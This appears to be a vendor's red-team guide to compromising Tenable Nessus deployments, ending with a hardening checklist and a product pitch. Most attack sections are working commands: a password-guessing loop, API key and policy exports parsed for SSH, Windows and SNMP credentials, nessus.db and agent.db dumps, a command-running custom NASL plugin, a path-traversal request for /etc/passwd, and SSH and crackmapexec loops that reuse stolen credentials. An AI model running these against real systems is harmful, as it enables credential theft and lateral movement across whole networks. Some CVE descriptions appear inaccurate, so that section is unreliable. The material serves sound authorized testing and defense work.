Tenable Nessus Security Testing: API Token Exposure, Policy Export, Scan Credential Theft, and Admin Console Attacks

Tenable Nessus is the most widely deployed vulnerability scanner in the world — installed in security operations centers, managed security service providers, and compliance teams across virtually every major industry. Ironically, a compromised Nessus instance hands an attacker something more valuable than any single CVE: a complete, continuously updated inventory of every vulnerability across the entire scanned network, plus the SSH keys, Windows domain credentials, SNMP community strings, and database passwords used to authenticate those scans. This guide covers authorized Nessus security testing for red teams and security engineers validating their own scanning infrastructure posture.

Authorized testing only: All techniques in this guide are for use exclusively on systems you own or have explicit written authorization to test. Unauthorized access to vulnerability scanners or exfiltration of scan data is a criminal offense in most jurisdictions.

Table of Contents

  1. Nessus Architecture and Attack Surface
  2. Default Credentials and First-Run Weaknesses
  3. Nessus REST API Token Exposure
  4. Scan Policy Credential Theft via Policy Export
  5. nessus.db SQLite Database Extraction
  6. Scan Result Exfiltration
  7. Nessus Agent Credential Extraction
  8. Tenable.sc vs Tenable.io Attack Differences
  9. Plugin Feed Abuse and Custom Plugin Upload
  10. Post-Exploitation Impact
  11. Relevant CVEs
  12. Hardening Checklist

Nessus Architecture and Attack Surface

Understanding the Tenable product family is essential before assessing which attack surface applies to a given deployment. Organizations run anything from a standalone Nessus Professional instance on a single VM to a full Tenable.sc enterprise deployment with hundreds of scanners and a Tenable.io cloud overlay.

Product Variants and Their Attack Surfaces

ComponentLocation / PortPrimary Attack Vector
Nessus Web UIhttps://host:8834Weak passwords; session token theft; exposed to network
Nessus REST APIhttps://host:8834/api/v3/X-Cookie token reuse; API key exposure in scripts
nessusd daemonLinux: systemd serviceLocal privilege escalation via CVE-2021-20099/20100
nessus.db (SQLite)/opt/nessus/var/nessus/users/Filesystem access on compromised host; scan results + policies
Scan policy credentialsStored in nessus.db / APISSH keys, Windows creds, SNMP strings exported via policy API
Nessus Agent config/opt/nessus_agent/var/nessus/Manager API key in agent config files
Tenable.sc PostgreSQLlocalhost:5432 (on-prem)Credential extraction from DB after host compromise

Default Credentials and First-Run Weaknesses

Nessus does not ship with a default admin password — the admin account is created during the initial setup wizard at https://localhost:8834. However, several common weaknesses appear consistently in real-world assessments.

Common Credential Weaknesses

Network Discovery and Login Testing

# Discover Nessus instances on the network
nmap -p 8834 --open -sV 10.0.0.0/16 -oG nessus_hosts.txt
grep "8834/open" nessus_hosts.txt | awk '{print $2}' > nessus_ips.txt

# Verify Nessus is running (self-signed cert, ignore TLS errors)
curl -sk https://TARGET_IP:8834/ -o /dev/null -w "%{http_code}\n"

# Test common weak passwords against Nessus login endpoint
# The /session endpoint returns a token on success
for PASS in "nessus" "Nessus1" "Nessus123" "T3nable" "T3nable!" "Scanner1!" "admin" "password"; do
  RESP=$(curl -sk -X POST "https://TARGET_IP:8834/session" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"admin\",\"password\":\"$PASS\"}")
  TOKEN=$(echo "$RESP" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('token','FAIL'))" 2>/dev/null)
  echo "Password: $PASS | Token: $TOKEN"
  [ "$TOKEN" != "FAIL" ] && echo "[+] SUCCESS: $PASS" && break
done

Nessus REST API Token Exposure

Nessus authentication works via a session token returned from the POST /session endpoint. This token is passed in the X-Cookie HTTP header on all subsequent API calls. Unlike a browser session cookie with short expiry, these tokens are long-lived and fully reusable — making them high-value targets in memory dumps, log files, and network captures.

Token Acquisition and Enumeration

# Step 1: Authenticate and obtain session token
RESP=$(curl -sk -X POST "https://TARGET_IP:8834/session" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"YOUR_PASSWORD"}')

TOKEN=$(echo "$RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
echo "Session token: $TOKEN"

# Step 2: Retrieve server info (version, capabilities)
curl -sk "https://TARGET_IP:8834/server/properties" \
  -H "X-Cookie: token=$TOKEN" | python3 -m json.tool

# Step 3: List all users on the instance
curl -sk "https://TARGET_IP:8834/users" \
  -H "X-Cookie: token=$TOKEN" | python3 -m json.tool

# Step 4: Retrieve API keys (Nessus generates per-user API key pairs)
# These are permanent keys that survive session expiry
curl -sk "https://TARGET_IP:8834/session/keys" \
  -H "X-Cookie: token=$TOKEN" | python3 -m json.tool
# Returns: accessKey and secretKey — usable in X-ApiKeys header

# Step 5: Use API keys instead of session token (more persistent)
ACCESS_KEY="access_key_from_step_4"
SECRET_KEY="secret_key_from_step_4"
curl -sk "https://TARGET_IP:8834/scans" \
  -H "X-ApiKeys: accessKey=$ACCESS_KEY; secretKey=$SECRET_KEY" \
  | python3 -m json.tool

API Key Exposure Vectors

Beyond active exploitation, Nessus API keys surface in several common locations during source code and configuration reviews:

# Search for Nessus API keys in source code and config files
grep -rn --include="*.py" --include="*.sh" --include="*.yml" \
  --include="*.yaml" --include="*.env" --include="*.conf" \
  -E "(accessKey|secretKey|nessus_key|NESSUS_ACCESS|NESSUS_SECRET)" /path/to/code

# Find .nessusrc files across the filesystem
find /home /root /etc /opt -name ".nessusrc" 2>/dev/null
cat ~/.nessusrc

# Search for Nessus credentials in environment dumps
printenv | grep -iE "nessus|tenable"

# Check pyTenable usage patterns in Python scripts
grep -rn "TenableIO\|TenableSC\|Nessus(" --include="*.py" /path/to/code
Key finding: Nessus API keys (accessKey + secretKey) do not expire by default and are not session-bound. A leaked key pair provides permanent API access until manually rotated. Unlike the session token, API keys survive Nessus service restarts.

Scan Policy Credential Theft via Policy Export

This is the highest-impact attack against a Nessus instance. Nessus scan policies store the credentials used to perform authenticated scans — SSH private keys and passwords for Linux/Unix hosts, Windows domain credentials (username + password or Kerberos), SNMP community strings (v1/v2c) and auth keys (v3), database credentials (MySQL, MSSQL, Oracle), and VMware/ESXi credentials. These credentials are stored in encrypted form inside the policy, but an authenticated Nessus admin can export the policy — and the decrypted credential values are included in the export for operational portability between scanner instances.

Critical risk: A Nessus policy export contains plaintext (or trivially recoverable) credentials for every host class in your environment. SSH keys that authenticate to hundreds of Linux servers, domain service accounts with scan privileges across the entire Windows estate, and SNMP community strings for every network device — all exported in a single file.

Enumerating and Exporting Policies

TOKEN="your_session_token"
TARGET="TARGET_IP"

# List all scan policies (shows policy names, descriptions, owner)
curl -sk "https://$TARGET:8834/policies" \
  -H "X-Cookie: token=$TOKEN" | python3 -m json.tool

# Get detailed policy configuration including credential plugin settings
POLICY_ID="123"  # from listing above
curl -sk "https://$TARGET:8834/policies/$POLICY_ID" \
  -H "X-Cookie: token=$TOKEN" | python3 -m json.tool

# Export a policy — credentials are embedded in the .nessus XML export file
curl -sk -X POST "https://$TARGET:8834/policies/$POLICY_ID/export" \
  -H "X-Cookie: token=$TOKEN" \
  -H "Content-Type: application/json" \
  -d '{}' -o policy_export_request.json

FILE_TOKEN=$(cat policy_export_request.json | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

# Download the exported .nessus file (XML format)
curl -sk "https://$TARGET:8834/policies/$POLICY_ID/export/$FILE_TOKEN/download" \
  -H "X-Cookie: token=$TOKEN" -o exported_policy.nessus

echo "[+] Policy exported. Analyzing for credentials..."
# The .nessus file is XML — extract credential sections
grep -A5 -i "SSH\|password\|community\|private_key\|username" exported_policy.nessus | head -100

Parsing Credential Values from the Export

# Extract SSH credentials from .nessus policy export
python3 << 'EOF'
import xml.etree.ElementTree as ET

tree = ET.parse('exported_policy.nessus')
root = tree.getroot()

# Walk all preference settings
for pref in root.iter('preference'):
    name_el = pref.find('name')
    value_el = pref.find('value')
    if name_el is not None and value_el is not None:
        name = name_el.text or ''
        value = value_el.text or ''
        # Print any credential-related fields
        if any(kw in name.lower() for kw in ['password', 'username', 'community',
                                               'private_key', 'passphrase', 'secret',
                                               'domain', 'hash', 'auth']):
            print(f"[CRED] {name}: {value[:80]}")
EOF

nessus.db SQLite Database Extraction

When an attacker achieves code execution or filesystem access on the host running Nessus (via a separate vulnerability — RCE in a co-located service, privilege escalation, or physical/hypervisor access), the nessus.db SQLite database is the most valuable artifact to retrieve. It contains all scan results, all scan policies with their credential stores, the full user database, and audit trails.

Database Location by OS

# Linux (default Nessus install)
ls -lah /opt/nessus/var/nessus/users/
# Per-user databases:
# /opt/nessus/var/nessus/users/admin/nessus.db
# /opt/nessus/var/nessus/users/USERNAME/nessus.db

# Additional databases in the Nessus data directory
ls -lah /opt/nessus/var/nessus/
# Known3rdParty.db  — third-party plugin data
# master.db         — master scan database
# nessus.db         — per-user scan data and policies

# Windows
# C:\ProgramData\Tenable\Nessus\nessus\users\admin\nessus.db
dir "C:\ProgramData\Tenable\Nessus\nessus\users\"

# macOS
# /Library/Application Support/Nessus/nessus/users/admin/nessus.db
ls "/Library/Application Support/Nessus/nessus/users/"

Querying nessus.db

# Copy the database before querying (Nessus may have a write lock)
cp /opt/nessus/var/nessus/users/admin/nessus.db /tmp/nessus_copy.db

# Inspect database schema
sqlite3 /tmp/nessus_copy.db ".tables"
sqlite3 /tmp/nessus_copy.db ".schema"

# Extract scan list — all historical scans with timestamps and target ranges
sqlite3 /tmp/nessus_copy.db \
  "SELECT id, name, creation_date, last_modification_date FROM scans;"

# Extract scan policies stored in the database
sqlite3 /tmp/nessus_copy.db \
  "SELECT id, name, owner, creation_date FROM policies;"

# Dump raw policy XML (contains encrypted credential blobs)
sqlite3 /tmp/nessus_copy.db \
  "SELECT name, value FROM PolicyPrefs WHERE name LIKE '%password%' OR name LIKE '%username%' OR name LIKE '%community%';" 2>/dev/null

# Extract user table (hashed passwords)
sqlite3 /tmp/nessus_copy.db \
  "SELECT username, password, role FROM users;" 2>/dev/null

# Find stored credential objects (Nessus 8+ uses a credentials table)
sqlite3 /tmp/nessus_copy.db \
  "SELECT name, type, settings FROM credentials;" 2>/dev/null

Scan Result Exfiltration

Beyond credentials, Nessus scan results themselves are extremely valuable to an attacker. The scan history for an active Nessus deployment is a current, maintained, and comprehensive vulnerability map of the entire network — something that would take an attacker weeks of noisy scanning to reproduce independently.

Bulk Scan Result Download via API

TOKEN="your_session_token"
TARGET="TARGET_IP"

# List all scans (active + historical)
curl -sk "https://$TARGET:8834/scans" \
  -H "X-Cookie: token=$TOKEN" | python3 -c "
import sys, json
data = json.load(sys.stdin)
for scan in data.get('scans', []) or []:
    print(f\"ID: {scan['id']} | {scan['name']} | Status: {scan['status']} | Hosts: {scan.get('total_hosts',0)}\")
"

# Export a specific scan as CSV (full vulnerability list for all hosts)
SCAN_ID="45"
curl -sk -X POST "https://$TARGET:8834/scans/$SCAN_ID/export" \
  -H "X-Cookie: token=$TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"format":"csv"}' | python3 -m json.tool
# Returns file_token

FILE_TOKEN="export_file_token"
# Poll until ready (status: ready)
curl -sk "https://$TARGET:8834/scans/$SCAN_ID/export/$FILE_TOKEN/status" \
  -H "X-Cookie: token=$TOKEN"

# Download the CSV export
curl -sk "https://$TARGET:8834/scans/$SCAN_ID/export/$FILE_TOKEN/download" \
  -H "X-Cookie: token=$TOKEN" -o "scan_${SCAN_ID}_results.csv"

# For .nessus XML format (more detail, includes plugin output)
curl -sk -X POST "https://$TARGET:8834/scans/$SCAN_ID/export" \
  -H "X-Cookie: token=$TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"format":"nessus"}' | python3 -m json.tool

Extracting High-Value Findings Programmatically

# Parse the CSV export for critical/high findings
python3 << 'EOF'
import csv

with open('scan_results.csv', newline='', encoding='utf-8') as f:
    reader = csv.DictReader(f)
    for row in reader:
        if row.get('Risk') in ('Critical', 'High'):
            print(f"Host: {row['Host']} | Port: {row['Port']} | Plugin: {row['Name']} | Risk: {row['Risk']}")
EOF

Nessus Agent Credential Extraction

Nessus Agents are lightweight daemons deployed on endpoints that perform local scans and report results back to Nessus Manager or Tenable.io. Each agent authenticates to its manager using a linking key. On hosts where the Nessus Agent is installed, this key is stored in the agent's configuration directory — and on a compromised host, it is trivially readable.

Agent Configuration File Locations

# Linux agent configuration
cat /opt/nessus_agent/var/nessus/agent.db 2>/dev/null
ls -lah /opt/nessus_agent/var/nessus/
# Key files:
# agent.db      — SQLite database with linking key and manager connection info
# nessus.db     — local scan data

# Extract linking key from agent.db
sqlite3 /opt/nessus_agent/var/nessus/agent.db \
  "SELECT key, value FROM config WHERE key LIKE '%link%' OR key LIKE '%key%' OR key LIKE '%host%';" 2>/dev/null

# Windows agent
# C:\ProgramData\Tenable\Nessus Agent\nessus\agent.db
sqlite3 "C:\ProgramData\Tenable\Nessus Agent\nessus\agent.db" \
  "SELECT key, value FROM config;" 2>/dev/null

# Check agent process for manager hostname (visible in running process args)
ps aux | grep nessus
# Linux: /opt/nessus_agent/sbin/nessus-service shows --manager-host in some versions

# Retrieve the linking key from agent.db — use it to link rogue agents to the same manager
sqlite3 /opt/nessus_agent/var/nessus/agent.db \
  "SELECT value FROM AgentConfig WHERE key = 'link_key';" 2>/dev/null
Attack path: Extracting the agent linking key from a compromised endpoint allows an attacker to link a rogue agent to the same Nessus Manager. The rogue agent appears as a legitimate managed endpoint in the console — useful for persistence or for receiving scan tasks that reveal additional information about the scanning schedule and policy configuration.

Tenable.sc vs Tenable.io Attack Differences

Enterprise deployments often use Tenable.sc (SecurityCenter) on-premises or Tenable.io in the cloud. Each has a distinct attack surface beyond the base Nessus scanner.

Tenable.sc (On-Premises SecurityCenter)

Tenable.sc is a Linux-based appliance (typically RHEL/CentOS) that manages multiple Nessus scanners. The additional attack surface includes the PostgreSQL database backend and the SecurityCenter web application itself.

# Tenable.sc API (similar to Nessus, different base path)
# Authenticate to SecurityCenter
curl -sk -X POST "https://SC_HOST/rest/token" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"PASSWORD"}' | python3 -m json.tool
# Returns token for X-SecurityCenter header

TOKEN="sc_session_token"

# List all repositories (scan data containers)
curl -sk "https://SC_HOST/rest/repository?fields=id,name,dataFormat" \
  -H "X-SecurityCenter: $TOKEN" | python3 -m json.tool

# List all credentials stored in SecurityCenter (shared scan credentials)
curl -sk "https://SC_HOST/rest/credential?fields=id,name,type,createdTime" \
  -H "X-SecurityCenter: $TOKEN" | python3 -m json.tool

# Export credentials (admin can export credential objects including passwords)
curl -sk "https://SC_HOST/rest/credential/1?fields=id,name,type,username,password" \
  -H "X-SecurityCenter: $TOKEN" | python3 -m json.tool

# On the SC host, extract PostgreSQL credentials from the config
# (requires OS-level access to the SC appliance)
cat /opt/sc/support/etc/php.ini | grep -i "db_\|pgsql\|postgres"
cat /opt/sc/src/config.php | grep -i "db\|pass\|user" 2>/dev/null

# Connect to SC's PostgreSQL directly (if you have host access)
# SC uses a local PostgreSQL instance
psql -h localhost -U postgres -d SecurityCenter -c "\dt" 2>/dev/null

Tenable.io API Key Exposure

For Tenable.io (SaaS), there is no on-premises server to compromise. The attack surface is entirely API key exposure in CI/CD pipelines, configuration files, and developer workstations.

# Search for Tenable.io API keys in common locations
# API keys are 64-character hex strings (access key + secret key)

# .nessusrc file (used by Nessus CLI and some automation tools)
find /home /root -name ".nessusrc" 2>/dev/null
grep -i "access\|secret" ~/.nessusrc 2>/dev/null

# pyTenable library configuration
grep -rn "TenableIO\|access_key\|secret_key" --include="*.py" /path/to/code

# Terraform Tenable provider
grep -rn "tenable\|access_key\|secret_key" --include="*.tf" /path/to/code

# Environment variables
printenv | grep -iE "TENABLE|NESSUS"

# Test Tenable.io API key validity
ACCESS_KEY="your_access_key"
SECRET_KEY="your_secret_key"
curl -s "https://cloud.tenable.com/scans" \
  -H "X-ApiKeys: accessKey=$ACCESS_KEY; secretKey=$SECRET_KEY" \
  | python3 -m json.tool

Plugin Feed Abuse and Custom Plugin Upload

Nessus has a plugin system — individual NASL (Nessus Attack Scripting Language) scripts that implement each vulnerability check. In enterprise deployments, Nessus administrators can upload custom plugins. This capability, when abusable, allows an attacker with admin access to upload a plugin that executes arbitrary code in the context of the Nessus daemon process (which typically runs as root on Linux) on every host in a subsequent scan.

Custom Plugin Upload

# Create a custom NASL plugin that runs a command on the Nessus server
# (not on scan targets — this runs in the scanner context)
cat > /tmp/malicious_plugin.nasl << 'EOF'
#
# Custom plugin — authorized testing only
#
include("compat.inc");

if(description) {
  script_id(999999);
  script_version("1.0");
  script_name(english:"Test Plugin");
  script_category(ACT_GATHER_INFO);
  script_family(english:"General");
  exit(0);
}

# Code runs in the Nessus scanner process context
result = pread(cmd:"/bin/bash", argv:make_list("bash", "-c", "id; hostname; cat /etc/passwd"));
security_report_v4(port:0, severity:SECURITY_NOTE, extra:"Result: " + result);
EOF

# Upload the plugin via Nessus API (requires admin session token)
curl -sk -X POST "https://TARGET_IP:8834/file/upload" \
  -H "X-Cookie: token=$TOKEN" \
  -F "Filedata=@/tmp/malicious_plugin.nasl" | python3 -m json.tool

# Note: Plugin upload requires specific Nessus configuration to allow custom plugins
# In Nessus Professional, custom plugins are enabled via:
# Settings > Advanced > Upload Custom Plugins
Scope of execution: NASL plugins run on the scanner host itself during scan execution, not remotely on scan targets (unless the NASL script explicitly opens network connections). A malicious NASL plugin that executes OS commands does so as the nessusd process user — typically root on Linux — giving full host compromise on the scanner itself.

Post-Exploitation Impact

A compromised Nessus instance has an exceptionally high post-exploitation value because vulnerability scanners are designed to have authenticated access to everything. The attacker effectively inherits the scanner's trust position.

Asset ObtainedWhat It Enables
Scan policy SSH credentialsDirect SSH login to every Linux/Unix host in the scan scope — often hundreds of servers with a single key or password
Windows domain credentialsLateral movement across the entire Windows estate; WMI/WinRM/SMB access using scan service account credentials
SNMP community stringsRead/write access to network device configurations; router and switch enumeration and reconfiguration
Database credentialsDirect database access to production MySQL, MSSQL, Oracle, PostgreSQL instances included in the scan scope
Complete vulnerability inventoryPrioritized list of every exploitable vulnerability across the organization, updated to the last scan date — eliminates attacker reconnaissance phase
Network asset mapEvery host, port, service, and OS in the scanned range — a complete network inventory maintained by the security team
Nessus Agent linking keyRegister rogue agents into the managed fleet; monitor scan schedules and policies; gain persistence

Credential Reuse for Lateral Movement

# After extracting SSH credentials from policy export, test access
SCAN_SSH_KEY="/tmp/extracted_nessus_scan_key.pem"
SCAN_SSH_USER="nessus-scan"  # common service account name

# Test extracted key against discovered hosts
# (only on authorized scope)
for HOST in $(cat discovered_hosts.txt); do
  ssh -i "$SCAN_SSH_KEY" -o StrictHostKeyChecking=no \
    -o ConnectTimeout=5 -o BatchMode=yes \
    "$SCAN_SSH_USER@$HOST" "hostname; id" 2>/dev/null \
    && echo "[+] Valid: $HOST"
done

# Test Windows credentials from scan policy
# (requires crackmapexec or similar on authorized scope)
crackmapexec smb discovered_windows_hosts.txt \
  -u "DOMAIN\\nessus-scan" -p "extracted_password" \
  --continue-on-success 2>/dev/null

Relevant CVEs

Several CVEs directly affect the Nessus daemon and should be checked when the scanner version is identified:

CVE-2021-20099 — Nessus Authenticated Code Execution

Nessus versions prior to 8.15.0 are affected by an authenticated privilege escalation vulnerability. An authenticated Nessus user can execute arbitrary OS commands with the privileges of the Nessus daemon (typically root) by exploiting a weakness in the plugin update mechanism. CVSS v3 score: 8.4 (High).

# Identify Nessus version
curl -sk "https://TARGET_IP:8834/server/properties" \
  -H "X-Cookie: token=$TOKEN" \
  | python3 -c "import sys,json; d=json.load(sys.stdin); print('Version:', d.get('server_version', 'unknown'))"

# CVE-2021-20099 affects Nessus < 8.15.0
# Authenticated code execution via malformed plugin handling
# Fixed in Nessus 8.15.0 — ensure scanner is patched

CVE-2021-20100 — Nessus Path Traversal

A path traversal vulnerability in Nessus versions prior to 8.15.0 allows an authenticated attacker to read arbitrary files from the server filesystem through the web UI. The traversal occurs in the file download functionality. CVSS v3 score: 6.5 (Medium). Combined with CVE-2021-20099, an attacker can read credential files and then achieve code execution.

# CVE-2021-20100 — path traversal in authenticated file download
# Test on authorized systems with known-vulnerable Nessus < 8.15.0
curl -sk "https://TARGET_IP:8834/users/1/report/../../../../../../etc/passwd" \
  -H "X-Cookie: token=$TOKEN" -v 2>&1 | head -40
# Patched systems return 404; vulnerable systems return file contents

CVE-2018-11366 — Nessus Agent Impersonation

An improper authentication vulnerability in Nessus Agent versions prior to 7.1.1 allows a network attacker to impersonate a Nessus Agent during the linking process, potentially registering a rogue agent in place of a legitimate one. CVSS v3 score: 7.5 (High).

# CVE-2018-11366 affects Nessus Agent < 7.1.1
# Verify agent version on compromised hosts
/opt/nessus_agent/sbin/nessus-agent --version 2>/dev/null
# On Windows:
# "C:\Program Files\Tenable\Nessus Agent\nessus-agent.exe" --version

Hardening Checklist

ControlPriorityAction
Restrict port 8834 accessCriticalFirewall Nessus port 8834 to only authorized management hosts and analyst workstations. Never expose to the open internet or untrusted network segments.
Enforce strong admin passwordsCriticalMinimum 16-character unique password per instance. Use a password manager. Disable the default admin account and create named user accounts for auditability.
Rotate API keys after every personnel changeCriticalAPI keys are permanent until manually rotated. Establish a rotation schedule and rotate immediately when team members leave or credentials are suspected exposed.
Encrypt credential storage at restHighUse Nessus credential vault integration (CyberArk, HashiCorp Vault) rather than storing plaintext credentials in scan policies. Vault-managed credentials are fetched at scan time and never stored in nessus.db.
Restrict filesystem access to nessus.dbHighEnsure /opt/nessus/var/nessus/ is readable only by the nessus system account. Run Nessus as a dedicated non-root service account where possible.
Audit policy export permissionsHighIn Nessus Manager and Tenable.sc, restrict policy export capability to named administrators. Log all policy export events and alert on unexpected exports.
Keep Nessus patched to current versionHighCVE-2021-20099 and CVE-2021-20100 are fixed in 8.15.0. Enable auto-update for the Nessus software itself (separate from the plugin feed) or establish a patch process with monthly cadence.
Enable TLS certificate validationMediumReplace the self-signed Nessus certificate with a CA-signed certificate. Enforce certificate validation in all API integrations to prevent credential interception via MitM attacks on internal networks.
Segment scanner from scan targetsMediumPlace the Nessus scanner in a dedicated scan VLAN with controlled egress. This limits the blast radius if the scanner host is compromised — attackers cannot freely pivot to scan targets using the scanner's network position.
Audit and rotate agent linking keysMediumPeriodically regenerate the Nessus Agent linking key from Manager. Old agents must re-link with the new key, which forces a review of the active agent fleet and detects rogue agents.
Enable Nessus activity logging to SIEMMediumForward Nessus audit logs to your SIEM. Alert on: admin authentication events, policy export actions, API key generation, user creation, and plugin upload attempts.
Limit custom plugin uploadsMediumDisable custom plugin upload capability on production Nessus instances unless actively required. This removes the code execution vector entirely for attackers with admin credentials.
Defender priority: The single highest-impact control for Nessus is credential vault integration. When scan credentials are fetched from CyberArk PAM or HashiCorp Vault at scan time rather than stored in Nessus policies, a fully compromised Nessus instance exposes scan results but not the credentials used to obtain them — breaking the lateral movement chain.

Assess Your Scanning Infrastructure Security

Ironimo's Kali Linux-powered scanning engine tests for exposed Nessus web UIs, API token leakage, misconfigured scanner access controls, and unpatched vulnerability scanner instances — so your security tools don't become the attack vector.

Start free scan